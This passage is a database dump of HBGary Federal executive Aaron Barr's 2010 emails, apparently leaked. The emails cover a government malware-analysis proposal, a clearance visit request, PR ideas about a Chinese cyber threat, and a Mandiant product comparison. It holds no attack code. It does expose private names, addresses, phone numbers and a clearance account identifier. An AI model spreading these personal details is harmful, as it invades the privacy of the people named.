<ted@hbgary.com>','/aaron@hbgary.com/new/1297002959.M375596P3547Q4741.eml','\"Aaron Barr\" <aaron@hbgary.com>','Three copies','Here is the cost volume.\r\n\r\n\r\nAlso, the checklist states we must submit:\r\n\r\nThe proposal original, two (2) hard copies and two (2) electronic\r\ncopies. (so three hard-copies in all).\r\n\r\nTed\r\n',12091,'aaron_hbgary_com/12091.html'),(4742,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002959.M694212P3547Q4742.eml','\"Barr Aaron\" <aaron@hbgary.com>','proposal cover sheet','The gov\'t provided proposal cover sheet must be included as page 1 of\r\nboth the Tech and Cost Volumes.\r\n\r\nTed\r\n',13346,'aaron_hbgary_com/13346.html'),(4743,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002963.M272840P3547Q4743.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','doc','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13824,'aaron_hbgary_com/13824.html'),(4744,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002969.M559833P3547Q4744.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','PPT Slides','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9266,'aaron_hbgary_com/9266.html'),(4745,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002975.M580013P3547Q4745.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: PPT Slides','Looks good, a few nitsSlide 1, break up long text blocks with subbullets\r\nSlide 1\r\n.O\r\n	{color:black;\r\n	font-size:149%;}\r\n.O1\r\n	{color:black;\r\n	font-size:149%;}\r\n.O2\r\n	{color:black;\r\n	font-size:149%;}\r\na:link\r\n	{color:blue !important;}\r\na:active\r\n	{color:#C0504D !important;}\r\na:visited\r\n	{color:purple !important;}\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision: Create an operational framework for automated identification of malware behavior, function, and intent, even those with previously unseen capabilities.\r\n\r\n\r\nInnovative Claims:\r\n\r\n\r\n•A malware trait library that describes the discrete functions and behaviors of malware through mathematical representations, rule sets, and descriptions.\r\n\r\n\r\n•A library that codifies complex patterns within malware that indicates aggregate functions and behaviors.  This is the heart of what is missing today.\r\n\r\n\r\n•Runtime behavior tracing, physical memory reconstruction and dataflow tracing for automated, and more efficient code execution and analysis.\r\n\r\n\r\n•Visual representations of malware that allow for easy interaction and understanding of the malware behaviors, functions, and intent.\r\n\r\n\r\n•Through analyst views and the Cyber Physiology Profile\r\n\r\n\r\n•Reasoning models that automatically identify unknown traits and patterns and can determine malwares behavior, function, and intent of previously unseen specimens.\r\n\r\n\r\n•Advanced and automated static analysis techniques to normalize binary logic extracted from various sources that will enable trigger and logic dependency analyses to drive a new form of statically-informed dynamic path exploration.\r\n\r\n\r\n•Sources include packed binaries, memory dumps, or embedded within data content \r\n\r\n\r\n\r\n\r\n\r\n\r\nSlide 2Include more text if suitable -- make use of opportunity to provide more infoSlide 4Quantitative Impact\r\nSlide 4\r\n.O\r\n	{color:black;\r\n	font-size:149%;}\r\na:link\r\n	{color:blue !important;}\r\na:active\r\n	{color:#C0504D !important;}\r\na:visited\r\n	{color:purple !important;}\r\n\r\n\r\n\r\n\r\n\r\n\r\n•Malware analysis of 40 per week by a good analyst to 10,000+ per day\r\n\r\n\r\n\r\n\r\n\r\n\r\nWord missing?  ...up to 10,000On Sun, Mar 28, 2010 at 6:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',7359,'aaron_hbgary_com/7359.html'),(4746,'2010-03-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002982.M582681P3547Q4746.eml','\"Aaron Barr\" <aaron@hbgary.com>','Bob mods','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI made mods throughout the doc.&nbsp; BRAIN is done.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12790,'aaron_hbgary_com/12790.html'),(4747,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002983.M23407P3547Q4747.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Bob mods','Call u back in a bit.  Putting kids to bed.\r\n\r\n From my iPhone\r\n\r\nOn Mar 28, 2010, at 7:32 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> I made mods throughout the doc.  BRAIN is done.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> \r\n',1704,'aaron_hbgary_com/1704.html'),(4748,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002989.M159688P3547Q4748.eml','\"Bob Slapnik\" <bob@hbgary.com>','Doc','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',60,'aaron_hbgary_com/60.html'),(4749,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002999.M283423P3547Q4749.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Latest Proposal','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6801,'aaron_hbgary_com/6801.html'),(4750,'2010-03-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003002.M870604P3547Q4750.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Doc','Aaron,\r\n\r\nItems to look at.....\r\n\r\n(1) On the cover sheet page (p 3) you list the subs, but HBGary, Inc. is not\r\nlisted. Is this on purpose or an oversight?\r\n\r\n(2) I rewrote the dataflow tracer section\r\n\r\n(3) Made mods to the Achieve Greater Brach Execution section\r\n\r\n(4) You put HBG Fed on the DHS contract for past performance.  I suppose you\r\nwere concerned about lack of past performance.  Is HBG Fed doing any work on\r\nthat contract in reality?\r\n\r\n(5) Is there room to add another HBGary, Inc. past performance, or at least\r\ngenerally speak about it?\r\n\r\n(6) Resolution on the slides is fuzzy\r\n\r\n(7) Table 16, task 6 - \"Completion\" is misspelled\r\n\r\n(8) Some of the graphics placement has been buggered up, probably by\r\nentering new content so some graphs are bleeding off the pages.  I\'ve\r\nlearned it is best to mess with graphs as the last thing when all other\r\ncontent has been added (so you do it only once).\r\n\r\n(9) A nit..... In Greg\'s bio you have all publication in italics.  The\r\nconvention is that books are italicized (or underlined), and articles and\r\npapers are in quotes.\r\n\r\n\r\nBob \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, March 28, 2010 9:31 PM\r\nTo: Bob Slapnik\r\nSubject: Doc\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2776 - Release Date: 03/28/10\r\n14:32:00\r\n',14227,'aaron_hbgary_com/14227.html'),(4751,'2010-03-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003003.M356621P3547Q4751.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Latest Proposal','This latest version you sent is v10 which is what I sent back with mods.\r\nDid you send the right file?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, March 28, 2010 10:41 PM\r\nTo: Ted Vera; Bob Slapnik\r\nSubject: Latest Proposal\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2776 - Release Date: 03/28/10\r\n14:32:00\r\n\r\n',11390,'aaron_hbgary_com/11390.html'),(4752,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003003.M594772P3547Q4752.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Latest Proposal','yes I did.\r\n\r\nOn Mar 28, 2010, at 10:52 PM, Bob Slapnik wrote:\r\n\r\n> This latest version you sent is v10 which is what I sent back with mods.\r\n> Did you send the right file?\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 28, 2010 10:41 PM\r\n> To: Ted Vera; Bob Slapnik\r\n> Subject: Latest Proposal\r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2776 - Release Date: 03/28/10\r\n> 14:32:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',345,'aaron_hbgary_com/345.html'),(4753,'2010-03-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003003.M840265P3547Q4753.eml','\"Aaron Barr\" <aaron@hbgary.com>','Other HBGary past work - if you want to use it','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSee attached\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9715,'aaron_hbgary_com/9715.html'),(4754,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003004.M326663P3547Q4755.eml','\"Ted Vera\" <ted@hbgary.com>','Re: TA1 Final Pricing','Ted,\r\n\r\nI don\'t have a cover letter for TA1 Cost Volume.\r\n\r\nAaron\r\n\r\nOn Mar 27, 2010, at 1:08 PM, Ted Vera wrote:\r\n\r\n> Attached\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2945,'aaron_hbgary_com/2945.html'),(4755,'2010-03-29','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297003004.M93333P3547Q4754.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Visit Cert','Sorry, I need more info.\r\n\r\nWhere are you going?\r\n\r\nWhen are you going?\r\n\r\nWho is your POC and telephone number?\r\n\r\nPurpose of travel?\r\n\r\nSecurity POC & FAX Number?\r\n\r\n\r\n	I cannot send your visit certs via JPAS because you were\r\ndebriefed off your collateral TS clearances.\r\n\r\nBill\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 3:44 PM\r\nTo: Choate, William R (TASC)\r\nSubject: Visit Cert\r\n\r\nHi Bill,\r\n\r\nCould you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.  The\r\npurpose is for some technical meetings and discussions.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',872,'aaron_hbgary_com/872.html'),(4756,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003016.M638684P3547Q4756.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Final Proposal','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11487,'aaron_hbgary_com/11487.html'),(4757,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003024.M427628P3547Q4757.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Final Proposal','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3925,'aaron_hbgary_com/3925.html'),(4758,'2010-03-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003028.M863326P3547Q4758.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','Re: The Growing China Threat','\r\n\r\nI believe we are at a tipping point in aggressive defensive and offensive positioning.  What do we need to do to be ready?\r\n\r\n \r\nWe need better APT marketing than Mandiant.\r\n \r\n-Greg\r\n \r\nAaron BarrCEOHBGary Federal Inc.\r\n',7457,'aaron_hbgary_com/7457.html'),(4759,'2010-03-29','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003029.M112171P3547Q4759.eml','greg@hbgary.com,aaron@hbgary.com,penny@hbgary.com','Check the Hype -- There\'s No Such Thing As \"Cyber\"','This Wired piece discusses how media/security vendors i.e. Netwitness are using \"cyber\" and \"Cyberwar\"&nbsp;for fearmongering to win&nbsp;business&nbsp;\r\n&nbsp;\r\nhttp://www.wired.com/threatlevel/2010/03/cyber-hype/\r\n\r\n',12577,'aaron_hbgary_com/12577.html'),(4760,'2010-03-29','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297003029.M350223P3547Q4760.eml','aaron@hbgary.com','Delivered!!!!','\r\n\r\n\r\n\r\n\r\nDelivered!!!!\r\n\r\n\r\n\r\n\r\n\r\n',11169,'aaron_hbgary_com/11169.html'),(4761,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003029.M584079P3547Q4761.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Delivered!!!!','R u in town?\r\n\r\n From my iPhone\r\n\r\nOn Mar 29, 2010, at 11:45 AM, \"Masterson, Brian (Xetron)\"\r\n wrote:\r\n\r\n>\r\n',1816,'aaron_hbgary_com/1816.html'),(4762,'2010-03-29','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297003029.M857311P3547Q4762.eml','aaron@hbgary.com','Re: Delivered!!!!','\r\n\r\n\r\n\r\n\r\nRe: Delivered!!!!\r\n\r\n\r\n\r\n\r\nYeah but got to get back.&nbsp; Why?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Mar 29 10:55:15 2010\r\nSubject: Re: Delivered!!!!\r\n\r\nR u in town?\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Mar 29, 2010, at 11:45 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt;\r\n\r\n\r\n\r\n\r\n',2181,'aaron_hbgary_com/2181.html'),(4763,'2010-03-29','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297003030.M337497P3547Q4763.eml','aaron@hbgary.com','Re: Delivered!!!!','\r\n\r\n\r\n\r\n\r\nRe: Delivered!!!!\r\n\r\n\r\n\r\n\r\nI, no kidding, came up to deliver the prop.&nbsp; Was planning tm meet with valentino but he blew me off.&nbsp;\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Mar 29 10:55:15 2010\r\nSubject: Re: Delivered!!!!\r\n\r\nR u in town?\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Mar 29, 2010, at 11:45 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt;\r\n\r\n\r\n\r\n\r\n',15467,'aaron_hbgary_com/15467.html'),(4764,'2010-03-29','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003030.M598628P3547Q4764.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The Growing China Threat','Hi Aaron, This is very good content. Would you be interested in putting together a quick oped piece on the topic? It would have to be vendor-neutral. SC Magazine publishes online opinion pieces -- word count is around 300 words.&nbsp;NY Times is another possibility -- they look for around 750-word pieces. If you are interested in pursuing NYT, here is a link to their oped submission requirements&nbsp;http://www.nytimes.com/ref/membercenter/help/opedsubmit.html&nbsp;--- On Fri, 3/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: The Growing China ThreatTo: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: Friday, March 26, 2010, 5:55 PM\r\nThis has been quite a week.&nbsp; Google, Dell, and Godaddy announce they are moving out of China.&nbsp; The military is continuing to drum the beat of a growing chinese threat.&nbsp; Today a \"DNS\" error in a root DNS server in China cause it\'s filtering technology to spread overseas redirecting and blocking parts of the web.If things continue in this vein, APT will come to mean only one thing, the Chinese Threat, as most other threats will take backstage.The government is an interesting animal, and in most cases, despite its size it really only is capable of focusing on a few things at once.&nbsp; The wars certainly take up a good portion of the attention and for the last decade the Middle East in general was the focus.&nbsp; If the Chinese threat continues to escalate on the national conscious a significant amount of resources will be dedicated to repelling this threat.&nbsp; The biggest increase in budgets will be\r\n seen on the offensive side, which typically are dwarfed by the defensive budgets but will see the biggest percentage swings in times of crisis.I believe we are at a tipping point in aggressive defensive and offensive positioning.&nbsp; What do we need to do to be ready?Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',16163,'aaron_hbgary_com/16163.html'),(4765,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003030.M894201P3547Q4765.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Delivered!!!!','I am getting ready to deliver in about an hour.  Ugh.From my iPhoneOn Mar 29, 2010, at 11:56 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYeah but got to get back.  Why?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Mar 29 10:55:15 2010\r\nSubject: Re: Delivered!!!!\r\n\r\nR u in town?\r\n\r\n From my iPhone\r\n\r\nOn Mar 29, 2010, at 11:45 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n &gt; wrote:\r\n\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n',10307,'aaron_hbgary_com/10307.html'),(4766,'2010-03-29','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297003031.M322084P3547Q4767.eml','aaron@hbgary.com','Re: Delivered!!!!','\r\nCan come back up thursday if you want to meet.  How are your props?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Mon Mar 29 11:11:22 2010Subject: Re: Delivered!!!!\r\nSurprise surprise surprise.From my iPhoneOn Mar 29, 2010, at 11:58 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI, no kidding, came up to deliver the prop.  Was planning tm meet with valentino but he blew me off. \r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Mar 29 10:55:15 2010\r\nSubject: Re: Delivered!!!!\r\n\r\nR u in town?\r\n\r\n From my iPhone\r\n\r\nOn Mar 29, 2010, at 11:45 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n &gt; wrote:\r\n\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n',8174,'aaron_hbgary_com/8174.html'),(4767,'2010-03-29','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003031.M662506P3547Q4768.eml','\"Aaron Barr\" <aaron@hbgary.com>','PICTURE OF MONITOR','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nCould you please take a picture of the monitor when you get\r\nto the show.&nbsp; It does not look damaged until you turn it on. So you will have\r\nto take the pictures with the monitor on.&nbsp; Thanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7798,'aaron_hbgary_com/7798.html'),(4768,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003031.M78658P3547Q4766.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Delivered!!!!','Surprise surprise surprise.From my iPhoneOn Mar 29, 2010, at 11:58 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI, no kidding, came up to deliver the prop.  Was planning tm meet with valentino but he blew me off. \r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Mar 29 10:55:15 2010\r\nSubject: Re: Delivered!!!!\r\n\r\nR u in town?\r\n\r\n From my iPhone\r\n\r\nOn Mar 29, 2010, at 11:45 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n &gt; wrote:\r\n\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n',11191,'aaron_hbgary_com/11191.html'),(4769,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003031.M977492P3547Q4769.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: PICTURE OF MONITOR','Ok.  Am I going to get a new one for the show?From my iPhoneOn Mar 29, 2010, at 12:31 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nCould you please take a picture of the monitor when you get\r\nto the show.  It does not look damaged until you turn it on. So you will have\r\nto take the pictures with the monitor on.  Thanks\r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12476,'aaron_hbgary_com/12476.html'),(4770,'2010-03-29','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003032.M216048P3547Q4770.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: PICTURE OF MONITOR','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.&nbsp; You have just made my day.&nbsp; I don&#8217;t have to go get one!\r\n&nbsp;And sorry you have to take time out of your busy day.\r\n\r\n&nbsp;\r\n\r\nHave a great day J \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 9:37 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: PICTURE OF MONITOR\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk. &nbsp;Am I going to get a new one for the show?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 29, 2010, at 12:31 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCould\r\nyou please take a picture of the monitor when you get to the show.&nbsp; It\r\ndoes not look damaged until you turn it on. So you will have to take the\r\npictures with the monitor on.&nbsp; Thanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6653,'aaron_hbgary_com/6653.html'),(4771,'2010-03-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003032.M467978P3547Q4771.eml','\"Aaron Barr\" <aaron@hbgary.com>','Mandiant','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSome Mandiant info&#8230;&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nThey are sort of a competitor of HBGary, but not really.&nbsp;\r\nThey are primarily a consulting firm, but they have an enterprise product\r\ncalled MIR and a free memory analysis product called Memoryze.&nbsp; Memoryze isn\'t\r\nvery good, so no threat there.&nbsp; MIR is primarily a tool used by their\r\nconsultants, but I\'ve gotten wind that they\'ve sold it to some big companies,\r\nso we can start looking at MIR as direct competition to HBGary\'s enterprise\r\nDDNA.\r\n\r\n&nbsp;\r\n\r\nHere is what customers have told me about MIR.....It is\r\nhost agent based with server component sold as a network appliance.&nbsp; MIR finds\r\nindicators of compromise by primarily searching disk drives for artifacts of\r\nknown advanced persistent threats (APT) that they\'ve learned about from their\r\nservices engagements (this is useful). They search for strings, registry,\r\nfilenames, folders, mutex, etc of known APT.&nbsp; MIR is primarily a collection\r\ntool.&nbsp; When it gets a hit on its searches it brings back loads of data and\r\ndumps it on the users.&nbsp; At that point MIR is done.&nbsp; The customer is left to\r\nusing his own tools to parse and grep through the data.&nbsp; Good data collection,\r\nno data analysis or presentation.&nbsp; They can do enterprise memory forensics, but\r\nit isn\'t elegant.&nbsp; They image memory on remote hosts with DD then pull the\r\nmemory image over the network to either the appliance or to a workstation where\r\nit is analyzed with Memoryze.&nbsp; I\'ve been told that Memoryze takes about 40\r\nminutes to analyze a RAM image, but then it takes another 2 hours for another\r\nfree tool called AuditViewer to parse through the data to put it in a UI.&nbsp; Slow\r\nand not very elegant.\r\n\r\n&nbsp;\r\n\r\nLet\'s contrast Mandiant with HBGary.&nbsp; We do memory\r\nanalysis right on the host endpoint.&nbsp; The whole thing takes 15-40 minutes\r\ndepending on how big RAM is, speed of the computer, and how much is running on\r\nthe computer.&nbsp; Or the user can bring the memory image over the network for\r\nanalysis on Responder Pro.&nbsp; HBGary supports far more systems -- Windows 2k thru\r\nWindows 7 all service packs, 32- and 64-bit, can do RAM + pagefile, and RAM\r\ngreater than 4 GB (all things Memoryze can\'t do).&nbsp; Responder has Digital DNA\r\nfor malware detection and malware reverse engineering tools (static and dynamic\r\nanalysis) -- Mandiant has nothing to compare.&nbsp; DDNA does its detection from the\r\nmemory image and can find unknown malware.&nbsp; Mandiant detects from the hard\r\ndrive and can find only known malware (with APT focus).\r\n\r\n&nbsp;\r\n\r\nHBGary is in the process of building random RAM and 